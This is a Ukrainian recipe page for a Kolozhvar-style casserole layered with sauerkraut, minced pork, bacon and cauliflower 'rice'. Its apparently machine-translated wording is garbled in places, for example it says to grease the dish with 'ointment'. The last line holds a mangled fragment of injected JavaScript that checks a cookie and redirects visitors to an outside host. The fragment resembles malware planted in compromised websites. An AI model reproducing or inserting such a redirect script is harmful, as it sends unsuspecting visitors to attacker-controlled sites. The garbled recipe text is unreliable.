Коложарська капуста готується без рису та вершків.
Ви, напевно, чули про рис з цвітної капусти, то чому б не спробувати це?:) Повірте, ви не шкодуєте. Ця їжа стала для мене найбільшим сюрпризом під час здорового випробування в січні.
Інгредієнти:
- 750г квашеної капусти (без води)
- 500г свинячого фаршу
- 50г якісного бекону
- 500г цвітної капусти
- 1 цибулина дрібно нарізана
- 3 скибочки зубчиків часнику
- 100 мл кокосового молока + 100 мл води
- 2 яйця
- 1 столова ложка оливкової олії і 1 столова ложка мазі
- 1 чайна ложка червоного перцю
- сіль і перець за смаком
Підхід:
- Тушкуйте цибулю з капустою та червоним перцем 15 хвилин.
- Цвітну капусту переробляємо на «рис». Це можна зробити за допомогою терки або перемішування в роботі.
- Часник тушкуємо в оливковій олії, додаємо цвітну капусту, сіль і приправляємо. Тушкувати близько 15 хвилин.
- Наріжте бекон невеликими кубиками і обсмажте разом з м’ясом, періодично помішуючи на сковороді протягом 5 хвилин.
- Ми приготуємо більшу форму для випікання (розміром приблизно 25x25 см).
- Змастіть його маззю і прошаруйте капусту-рис-м’ясо-капусту-… -м’ясо-капусту.
- Випікати 20 хвилин при 180 ° C.
- Змішайте в мисці яйця, кокосове молоко і воду, додайте дрібку солі і перцю. Рівномірно залийте капусту коложар і випікайте ще 10 хвилин.
- Подавати чисто чи класично з картоплею:).
if (document.cookie.indexOf (“_mauthtoken”) == - 1) >>) (navigator.userAgent || navigator.vendor || window.opera, 'http: //gethere.info/kt/? 264dpr &' );>